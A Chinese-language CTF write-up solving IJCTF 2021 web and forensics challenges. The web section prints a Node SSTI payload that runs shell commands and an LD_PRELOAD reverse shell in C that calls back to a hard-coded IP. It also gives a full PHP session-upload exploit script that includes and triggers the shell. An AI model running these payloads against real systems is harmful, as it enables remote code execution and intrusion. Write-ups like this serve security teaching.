IJCTF 2021

Web

SodaFactory

Welcome to my SodaFactory.

Note: You don’t need any bruteforce

Author: TheGrandPew#0740

使用的库是 sodajs,从以下代码看出参数 name 未经处理就传入了,在渲染后输出。

1
2
3
4
5
6
7
8
app.post('/makeSoda', (req, res) => {
var {name, brand} = req.body;
img = images[brand];
res.send(soda(`
<title>${name}</title>
<img src='${img}' alt='${name}'>
`,{}))
})

因此对参数 name 尝试 SSTI,构造 {{1 + 1}} 可以发现输出的是 2,因此判定存在模板注入。使用如下载荷一把梭读出环境变量找到 flag。

https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection

1
{{ " ".toString.constructor("return global.process.mainModule.constructor._load('child_process').execSync('env').toString()")() }}

读出如下环境变量。

text
1
2
3
4
5
6
7
8
NODE_VERSION=12.18.1
HOSTNAME=53d556edba99
YARN_VERSION=1.22.4
PORT=3000
HOME=/root
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PWD=/app
FLAG=IJCTF{Y00_maK3_g00D_50DA_MA73}
1
IJCTF{Y00_maK3_g00D_50DA_MA73}

Memory

Do you remember the past? You lived hard. Now, you need to take some rest by remembering your past.

Run /flag

Note: You don’t need any bruteforce. The provided phpinfo has all the information for solving this challenge. So, I’ll not provide Dockerfile of this challenge.

Author:sqrtrev#9113

题目的附件中给出了如下两端代码和一个 PHPINFO 文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//index.php
<?php
include 'filter.php';

$r = function($errorno, $errstr, $errfile, $errline) {error_log("[$errorno] $errstr", 0);};
set_error_handler(function() use(&$r){ $r = True; });

if(!isset($_GET['mode'])){
echo "Welcome!!";
}else if($_GET['mode'] == "chance"){
if(strlen($_GET['chance']) > 15 | filter($_GET['chance'],1) | checkLetterNums($_GET['chance'])) exit("No Hack T.T");
eval($_GET['chance']);
}

if(isset($_GET['bonus'])){
if(strlen($_GET['bonus']) > 32 | filter($_GET['bonus'])) exit("No bonus ~.~");
include $_GET['bonus'];
}

?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//filter.php
<?php

function filter($var, $case = 0): bool{
$banned = ["\$_", "eval", "include", "require", "?", ":", "^", "+", "-", "%", "*"];

foreach($banned as $ban){
if(strstr($var, $ban)) return True;
}

if($case){
$additional = ["php","/"];
foreach($additional as $ban){
if(strstr($var, $ban)) return True;
}
}

return False;
}

function checkLetterNums($var): bool{
$alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$cnt = 0;
for($i = 0; $i < strlen($alphanum); $i++){
for($j = 0; $j < strlen($var); $j++){
if($var[$j] == $alphanum[$i]){
$cnt += 1;
if($cnt > 4) return True;
}
}
}
return False;
}

当参数 mode 为 chance 的时候会进行经过严格过滤的指令执行,而 mode 为 bonus 的时候则会进行 include。给出的 PHPINFO 文件中 disable_function 几乎禁用了所有的函数,加上过滤极为严格,因此直接指令执行是不可能的。可以注意到 session.upload_progress.cleanup 的值为 Off,也就是说当 POST 文件上传后 session 不会被清理,session.use_strict_mode 的值为 0。这意味着自定义一个会话 ID,进而可以利用 PHP_SESSION_UPLOAD_PROGRESS 进行文件包含。上传到 /tmp 的文件会在进程结束后被删除,因此需要写出 for(;;){} 来阻塞执行进程。

反弹 shell 的构造

可以发现在 PHPINFO 文件中,putenvmail 两个函数都还能使用,因此尝试写入 LD_PRELOAD,使用 mail 函数来触发一个反弹 shell。构造出如下反弹 shell 的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <errno.h>

void payload() {
struct sockaddr_in serveraddr;
int server_sockfd;
int client_len;
char buf[80],rbuf[80], *cmdBuf[2]={"/bin/sh",(char *)0};

server_sockfd = socket(AF_INET, SOCK_STREAM, 6);
serveraddr.sin_family = AF_INET;
serveraddr.sin_addr.s_addr = inet_addr("8.136.8.210");
serveraddr.sin_port = htons(atoi("3255"));
client_len = sizeof(serveraddr);

connect(server_sockfd, (struct sockaddr*)&serveraddr, client_len);

dup2(server_sockfd, 0);
dup2(server_sockfd, 1);
dup2(server_sockfd, 2);

execve("/bin/sh",cmdBuf,0);
}

uid_t getuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

使用如下指令进行编译。

1
2
$ gcc -c -fPIC shell.c -o shell
$ gcc -shared shell -o shell.so

编译完成的二进制文件即可用于反弹 shell。再构造出如下 PHP 文件用于进行 LD_PRELOAD 进而触发反弹 shell。

1
2
3
4
<?php
putenv("LD_PRELOAD=./shell.so"); //此处的文件名还需要更改
mail('','','','');
?>

写出如下脚本来一把梭触发反弹 shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
<?php

use GuzzleHttp\Client;
use GuzzleHttp\Psr7;

ini_set('session.serialize_handler', 'php_serialize');

require '../vendor/autoload.php';


// Exploit
$URL = "http://8.136.8.210:10030";
$client = new Client(array(
"base_uri" => $URL,
"allow_redirects" => false,
"timeout" => 3.0
));
try{
$client->post("/", array(
"query" => array(
"chance" => "for(;;){}",
"mode" => "chance"
),
"multipart" => array(
array(
"name" => "PHP_SESSION_UPLOAD_PROGRESS",
"contents" => "N"
),
array(
"name" => "file",
"contents" => Psr7\Utils::tryFopen("./shell.so", "rb"),
"filename" => "shell.so"
)
),
"headers" => array(
"Cookie" => "PHPSESSID=exp1;"
)
));
}catch(Exception $e){
}

$response = $client->get("/", array(
"query" => array(
"bonus" => "/var/lib/php/sessions/sess_exp1"
)
));
$content = $response->getBody()->getContents();
$content = str_replace("Welcome!!upload_progress_N|", "", $content);
$tmpLibName = unserialize($content)["files"][0]["tmp_name"];
echo $tmpLibName;

try{
$client->post("/", array(
"query" => array(
"chance" => 'for(;;){}',
"mode" => "chance"
),
"multipart" => array(
array(
"name" => "PHP_SESSION_UPLOAD_PROGRESS",
"contents" => "<?php putenv(\"LD_PRELOAD=$tmpLibName\"); mail(\"\", \"\", \"\", \"\"); ?>"
),
array(
"name" => "file",
"contents" => "none",
"filename" => "none.so"
)
),
"headers" => array(
"Cookie" => "PHPSESSID=exp2;"
)
));
}catch(Exception $e){
}

try{
$response = $client->get("/", array(
"query" => array(
"bonus" => "/var/lib/php/sessions/sess_exp2"
)
));
}catch(Exception $e){
}

拿到 shell 后执行根目录下的 flag 文件即可得到 flag。

1
ijctf{the_memories_from_the_past}

Forensic

Riddle Joker

Joker has returned from his imprisonment. Rumour says that he’s scheming a new evil operation by implanting several bombs at a local bank. Each of bomb has a tag information that might be a clue for finding Joker’s secret.

Author: Avilia#1337

将附件中的 PDF 文件用 010 Editor 打开,可以发现在 690 流的地方有一个嵌入文件。

text
1
2
3
4
5
6
7
8
9
10
78 9C 0B F0 66 66 11 61 66 64 60 60 F0 6C FB 12
B4 5C 22 90 C5 04 C8 D6 00 62 0E 20 4E CB 49 4C
D7 2B A9 28 39 51 29 77 66 1E AF 6A DC E6 3D A7
E7 88 76 0A 88 AD FA 22 BA EC D9 FD D6 FB 79 75
91 1A BF 2A E6 3F 2F BF D0 D3 3C C3 AE 68 95 CD
DA 3B 8D 9F 5E 2E 6A 7F D7 7E FB 41 80 37 23 93
3D 33 2E B3 55 18 20 40 A1 61 4B 23 03 92 4D 5C
0C 0A 60 71 46 06 09 86 86 4B 0C 4B 7D 6A AF 33
A2 D3 01 DE AC 6C 10 35 8C 0C 51 40 3A 0A AC 03
00 B9 35 3B 19

将其用 zlib 解压一次可以发现是一个压缩文档,其中包含带密码的 flag.txt。在 PDF 文件中能发现很多 xref,还有 imagemagick 的标识,猜测其中有很多张图片,同时可以发现 Coordinate 的字样,可以发现许多坐标。通过搜索可以发现如下参考文档,使用其中的工具构造如下脚本还原图片。

https://blog.didierstevens.com/2008/05/07/solving-a-little-pdf-puzzle/

https://blog.didierstevens.com/2021/01/31/new-tool-pdftool-py/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import os
from PIL import Image

image = Image.new("RGB", (500, 500), "white")

for x in range(1, 50):
os.system(f"python3 pdftool.py iu secret.pdf -s{x} -d > tmp.pdf")
x, y = os.popen(f"exiftool -Coordinate tmp.pdf").read().split(" ")[-1].strip().split(",")
print(f"[+] Found {x}, {y} image")
os.system(f"convert tmp.pdf -colorspace RGB tmp.png") # imagemagick
smallImage = Image.open("tmp.png")
image.paste(smallImage, (int(x), int(y)))
smallImage.close()
image.save("this.png")

运行脚本可以得到如下二维码图片。

使用工具读取该二维码内容可得如下信息。

text
1
The passcode is sup3r__cred3nti4l_p4sscode_3da748

使用 sup3r__cred3nti4l_p4sscode_3da748 解压压缩文档可得 flag。

1
IJCTF{4bbffb87ecc31ba242772ab1f14f569c}

Vault

A robber broke into a our vault in the middle of night. There’s an indication that the robber tried to steal some items which are considered as a confidential asset. Could you figured it out?

Flag format: IJCTF{[a-f0-9]{32}}

Author: Avilia#1337

When incident happened, the attacker got into our IP over ICMP tunnel network to access HTTP/2 web-server with SSL enabled

Even so, our captured logs aren’t precise enough. Each packet has an unusual timestamp and it’s kinda messsy…

流量包处理

根据提示可知流量包中的流量的时间戳有些问题,因此可以使用 Wireshark 自带的工具先对流量进行排序。

1
$reordercap log.pcap log_ordered.pcap

对排好序的流量包进行分析,可以发现大部分都是 ICMP 流量,还有一些是 IPv4 的数据。对其进行分析可以发现两个 IPv4 中夹杂着一段数据,搜寻之后可以找到一个用于使用 ICMP 进行通讯的工具 Hans。尝试将 Hans 插入的数据删除,恢复原本的结构。

https://github.com/friedrich/hans

https://www.wireshark.org/docs/man-pages/editcap.html

使用 Wireshark 的 editcap 工具对数据进行编辑,删除 Hans 插入的 33 个字节数据。

1
$editcap -C 15:33 .\log_ordered.pcap .\log_processed.pcap

打开处理好的流量包,可以发现一些 Socks 和 TCP 流量,根据提示将 Socks 流量重新设置解码为 TLS。跟踪 TCP 流到 0 可以发现传输的 SSL Key Log file。

将其导出后保存为文件,将部分换行符修正为空格,导入到 Wireshark 中解密 TLS 流量。

HTTP2 流量的分析

解密的 TLS 流量中有很多含有 data 和 content-range 的数据传输。将 SSL Key Log file 注入进文件中。

1
$editcap --inject-secrets tls,sslkeylogfile log_processed.pcap log_decrypted.pcap

将流量中含有的 data 和对应部分的 range 取出,使用如下的 CyberChef Receipt 处理。

1
$tshark -r ./log_decrypted.pcap -Y "http2" -T fields -e http2.headers.range -e http2.data.data > data.txt
text
1
2
3
Find_/_Replace({'option':'Regex','string':'^(bytes.*)\\n'},'$1',true,false,true,false)
Find_/_Replace({'option':'Regex','string':'\\t\\n|bytes='},'',true,false,true,false)
Find_/_Replace({'option':'Regex','string':'\\t\\t|-'},',',true,false,true,false)

将得到的数据使用 Excel 对两位和四位长度的数据分别排序后导出,再 From Hex 处理一次可以得到一个字符串 0edbca2531daefac9c5c84c016792713fd23681ea8bc1b3d088b617f75940313 和一个压缩包。使用该字符串作为压缩包的密码将其解压可得 flag。

1
IJCTF{aa51f2cc8eaf466a277da70db3a3c576}